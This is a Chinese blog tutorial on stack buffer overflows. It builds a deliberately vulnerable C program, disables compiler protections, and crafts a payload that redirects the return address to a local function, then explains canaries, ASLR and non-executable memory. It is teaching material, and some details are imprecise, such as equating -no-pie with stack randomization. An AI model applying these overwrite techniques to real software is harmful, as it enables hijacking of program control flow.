【计算机系统】缓冲区溢出攻击概念、演示及防御

本文详细解释了缓冲区溢出攻击的概念,演示了如何利用漏洞以及防御措施如栈保护、栈随机化和栈破坏检测。还介绍了限制可执行代码区域以防止恶意代码执行。
摘要由CSDN通过智能技术生成

一、缓冲区溢出攻击概念

缓冲区溢出攻击是一种常见的安全漏洞,也被称为缓冲区溢出。它发生在程序尝试向缓冲区

写入数据时,超过了缓冲区的容量导致数据溢出到相邻的内存区域。这种溢出可能破坏程序的堆栈,使程序转而执行其它指令,从而达到攻击的目的。

缓冲区溢出攻击的原理主要是利用程序中存在的缓冲区溢出漏洞。当程序没有仔细检查用户输入的参数时,攻击者可以通过输入超出缓冲区边界的恶意数据来破坏程序的正常执行流程。这些数据可以覆盖程序中的其他数据或函数返回地址,导致程序执行攻击者指定的恶意代码

例如,在一个简单的C语言程序中,如果程序使用固定大小的缓冲区来接收用户输入,而攻击者输入的数据超过该缓冲区的容量,就会发生缓冲区溢出。攻击者可以构造恶意输入,覆盖函数返回地址,使程序在执行完毕后跳转到攻击者指定的恶意代码处执行。

二、缓冲区溢出攻击演示

1.漏洞情况(防御星级✪)

关闭栈保护,关闭栈随机化。

1.1 示例代码

/*testoverflow.c*/

#include <stdio.h>
#include "string.h"

void outputs(char *str)
{
	char buffer[16];
	strcpy(buffer,str);//str to buffer
	printf("%s \n",buffer);
}

void hacker(void)
{
	printf("being hacked\n");
}

int main(int argc,char *argv[])
{
	char str[30];
	FILE *infile=stdin;
	fscanf(infile,"%s",str);
	outputs(str);
	return 0;
}

 1.2 编译

 终端输入

gcc -g -no-pie -fno-stack-protector -z execstack testoverflow.c -o testoverflow

 进行编译,其中,

关闭栈保护:-fno-stack-protector

开启栈可执行:-z execstack

关闭栈随机化:-no-pie

关闭栈保护和开启栈可执行后,系统将不会对缓冲区溢出进行保护;关闭栈随机化后,函数所在内存地址将与反汇编结果一致(64位机器相较于32位机器,特殊的地方就是,即使关闭了对栈的保护①②,仍然没有关闭栈随机化③这一机制)。

进行反汇编查看:

 

可以观察到,在outputs函数中

 lea    -0x10(%rbp),%rax 负责计算局部变量buffer的地址,在栈底寄存器%rbp的低16字节处。因为%rbq本身占64位,即8字节,所以返回地址在%rbp的低24字节处。

那么,想要修改函数返回地址,使其变为hacker()函数的地址,则输入的buffer字符数组的24字节之后就应该为hacker()函数的地址。通过反汇编代码可以看到,hacker()函数的地址为00000000004011d4

可以创建一个txt文件,里面存储要输入的字符数组的内容。overflow.txt内容如下:

68 68 68 68 68 68
68 68 68 68 68 68
68 68 68 68 68 68
68 68 68 68 68 68
d4 11 40 00 00 00 00 00

其中,“68”均为无意义的数字(修改成其他16进制数字均可) ,只有最后的 d4 11 40 00 00 00 00 00 按照小端法存储hacker()函数的地址。

然后,输入

./hex2raw overflow.txt overflow

命令将文本文件转换为ASCII码文件hex2raw.c文件如下(需要的uu可以自取):

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int  main( int  argc,  const  char  * argv[])
{
     FILE  *infile, *outfile;
     int  h, i;
     //printf("%s, %s\n", argv[1], argv[2]);
     if ( strcmp (argv[1],  "-n" ))
     {
         if (!(infile =  fopen (argv[1],  "r" )) || !(outfile =  fopen (argv[2],  "w+" ))){
             printf ( "打开文件错误!\n" );
             return  1;
         }
         while ( fscanf (infile,  "%x" , &h) != EOF)
             fprintf (outfile,  "%c" , h);
     }
     else {
         if (!(infile =  fopen (argv[2],  "r" )) || !(outfile =  fopen (argv[3],  "w+" ))){
             printf ( "打开文件错误!\n" );
             return  1;
         }
         for (i = 0; i < 5; i ++){
             while ( fscanf (infile,  "%x" , &h) != EOF)
                 fprintf (outfile,  "%c" , h);
             fprintf (outfile,  "%c" ,  '\n' );
             rewind (infile);      //文件内部指针重新指向输入流开头
         }
     }
     fclose (infile);
     fclose (outfile);
     return  0;
}

1.3 执行

 将testoverflow文件输入重定向到overflow这个ASCII码文件中去,可以看到,程序运行完outpus()函数后进入了hacker()函数,输出 being hacked ,而我们的代码中却没有任何调用hacker()函数的操作!并且,程序提示段错误。

另外,也可以直接在outputs()函数中调用hacker()的地址,然后直接执行,就不需要运行时的重定向了。(这里注意,代码片段修改后hacker()的地址也会微调!)

 

2.开启栈随机化的情况(防御星级✪✪)

关闭栈保护,开启栈随机化。

2.1 示例代码

#include <stdio.h>
#include "string.h"

void outputs(char *str)
{
	char buffer[16];
	strcpy(buffer,str);//str to buffer
	printf("%s \n",buffer);
}

void hacker(void)
{
	printf("being hacked\n");
}

int main(int argc,char *argv[])
{
	long long p_hacker=(long long)hacker;//hacker的地址
	printf("hacker:%llx\n",p_hacker);//64位16进制数
	char str[40]="123456712345671234567123";
	for(int i=24;i<40;i++)
	{
	str[i]=(char)p_hacker%256;
	p_hacker=p_hacker>>8;
	}
        outputs(str);
	return 0;
}

因为开启了栈随机化的情况后(实际上在64位机器上这是默认的,作为一种保护机制)hacker()的内存地址在每一次编译过程中都会实时变化,为了捕捉到它的地址,可以在运行过程中,用一个局部变量p_hacker()将其接收, 然后利用位运算,将p_hacker传递到str[]字符数组的25~40位中(返回地址仍然在%rbp的低24字节处,可以反汇编查验)。

2.2 执行

2.3 另一个示例代码

在上述操作中,我们都需要利用反汇编查看%rax在%rbp的低多少位地址,比如 lea    -0x10(%rbp),%rax就是低16位。那么可不可以不用反汇编,直接修改代码就可以让程序自己计算出返回地址位于buffer的多少个字节后呢?答案是肯定的。

可以利用__builtin_frame_address(x)得到函数的栈帧,也就是得到函数的%rbp的值,即栈帧的栈底的值。

代码如下:

#include <stdio.h>
#include "string.h"
void outputs(char *str) {
	void* p=__builtin_frame_address(0);
	char buffer[16];
	int i =0;
	printf( "rbp:%p\n", p);
	printf ( "buffer:%p\n",buffer);
	long long t = (long long)p -(long long) buffer;
	t+= 8;
	for(i=0; i<8; i++) //打印原始返回地址
		printf("%x ",buffer[t+i]);
	printf("\n");
	for(i=0; i<8; i++)
		buffer[t+i] = str[i];
	for(i=0; i<8; i++) //打印修改后返回地址
		printf ("%x ",buffer[t+i]);
	printf ("\n");
}
void hacker(void) {
	printf ( "being hacked\n");
}
int main(int argc, char *argv[]) {
	long long p_hacker = (long long) hacker;//程序运行时hacker()地址printf ( "hacker:%llxln", p_hacker);
	char str[8];//前40个字节
	for(int i =0; i<8; i++) { //后8个字节填写为程序运行时hacker()地址{
		str[i] = p_hacker % 256;
		p_hacker = p_hacker >> 8;
	}
	outputs(str);
	return 0;
}

这样就可以直接通过buffer地址和rbp地址计算出返回地址位于buffer的多少个字节后,不需要进行objdump反汇编了。运行结果如下:

3.开启栈保护和栈随机化的情况(防御星级✪✪✪)

开启栈保护,开启栈随机化。

代码依然是上面的代码

3.1 编译

 使用默认的编译方法,即

gcc -g testoverflow.c -o testoverflow

3.2 执行

可以看到,代码并没有调用hacker()函数,而是提示“已放弃(核心已转储)”。

3.3 原因

通过 objdump -d testoverflow 反汇编,我们可以看到,与之前没有栈保护的汇编代码相比,outputs()函数多了个 xor 比较操作,会在函数的最后利用xor比较原来的数和现在的数,如果不相等,就会出现“已放弃”提示,如果相等,才会正常执行。相当于多了一步复查验操作。

 三、对抗缓冲区溢出攻击的机制

1.栈随机化

栈随机化是一种在每次程序运行时改变栈内存布局的技术,从而增加攻击者预测和利用栈中特定位置信息的难度。具体来说,当程序开始执行时,操作系统会在栈上分配一段随机大小的空间,这个空间不用于存储任何有效的数据或代码,但会导致后续栈帧的位置在每次程序运行时都有所变化。

通过这种方式,攻击者很难确定他们插入的恶意代码或指向这段代码的指针应该放在栈的哪个位置。即使攻击者能够成功插入恶意代码,由于栈位置的随机性,他们也很难确保这段代码能够被执行。因此,栈随机化能够有效地降低缓冲区溢出攻击的成功率。

2.栈破坏检测

栈破坏检测是一种用于检测缓冲区溢出是否发生的机制。在最新的GCC版本中,通过加入一种称为“栈保护者”(stack protector)的机制来实现这一功能。具体来说,编译器会在栈帧中的局部缓冲区与栈状态之间存储一个特殊的金丝雀(canary)值,也称为哨兵值(guard value)。这个值是程序每次运行时随机产生的。

在函数返回或恢复寄存器状态之前,程序会检查这个金丝雀值是否被篡改。如果值被改变,说明有缓冲区溢出发生,程序会立即异常终止,从而防止攻击者利用这个溢出执行恶意代码。通过栈破坏检测,系统能够在攻击者利用缓冲区溢出漏洞之前发现并阻止攻击。

3.限制可执行代码区域

限制可执行代码区域是一种用于消除攻击者向系统插入可执行代码能力的机制。其基本思想是,只有那些包含编译器产生的代码的存储器区域才允许执行代码,而其他区域则只能用于存储数据。

通过限制可执行代码区域,系统能够防止攻击者利用缓冲区溢出漏洞向程序中插入恶意代码并执行。即使攻击者能够成功地将恶意代码写入某个内存区域,由于该区域不允许执行代码,这些代码也无法被执行。

详细介绍见卡耐基梅隆大学的《深入理解计算机系统》第3版3.10.4节

  • 38
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
缓冲区溢出是一种计算机安全漏洞,攻击者通过在程序中输入超过缓冲区边界的数据,将恶意代码注入到程序中执行的过程。缓冲区溢出攻击可以导致程序崩溃、执行未经授权的代码,甚至获取系统权限。经过实验,可以更好地理解和防范这种攻击。 在level3: rumble的实验中,我们面临的是一个更高级的缓冲区溢出攻击。在这个实验中,攻击者通过输入特殊构造的数据,成功改变程序的运行流程,使得程序执行攻击者所期望的指令。这种攻击常常利用了程序中的函数指针或返回地址的问题。具体来说,攻击者会试图将恶意代码的地址写到函数指针或返回地址处,从而实现程序流的改变。 为了进行这个实验,我们首先需要了解目标程序的结构和存在的漏洞。然后,攻击者需要通过输入过长的数据,溢出缓冲区并覆盖到函数指针或返回地址。攻击者会通过调整输入数据的内容和长度,来逐步控制程序的执行流程,达到他们想要的目的。 为了防范和避免缓冲区溢出攻击,我们可以采取以下措施: 1. 输入验证和长度限制:限制输入的长度,避免超出缓冲区的边界。 2. 栈保护技术:使用栈保护技术,比如栈溢出检测和随机化布局,来使攻击者更难寻找正确的溢出点。 3. 代码审查:对程序进行审查,及时发现和修复潜在的缓冲区溢出漏洞。 4. 程序更新和修复:及时更新和修复软件和库,以防止已知的缓冲区溢出漏洞被攻击者利用。 总之,实验level3: rumble是一种对高级缓冲区溢出攻击的模拟,通过实验我们可以更加深入地了解缓冲区溢出的原理和防范措施,提高系统的安全性。同时,我们也应该意识到,缓冲区溢出攻击是一种严重的安全威胁,需要我们加强对软件和系统的安全管理和维护。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一二爱上蜜桃猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值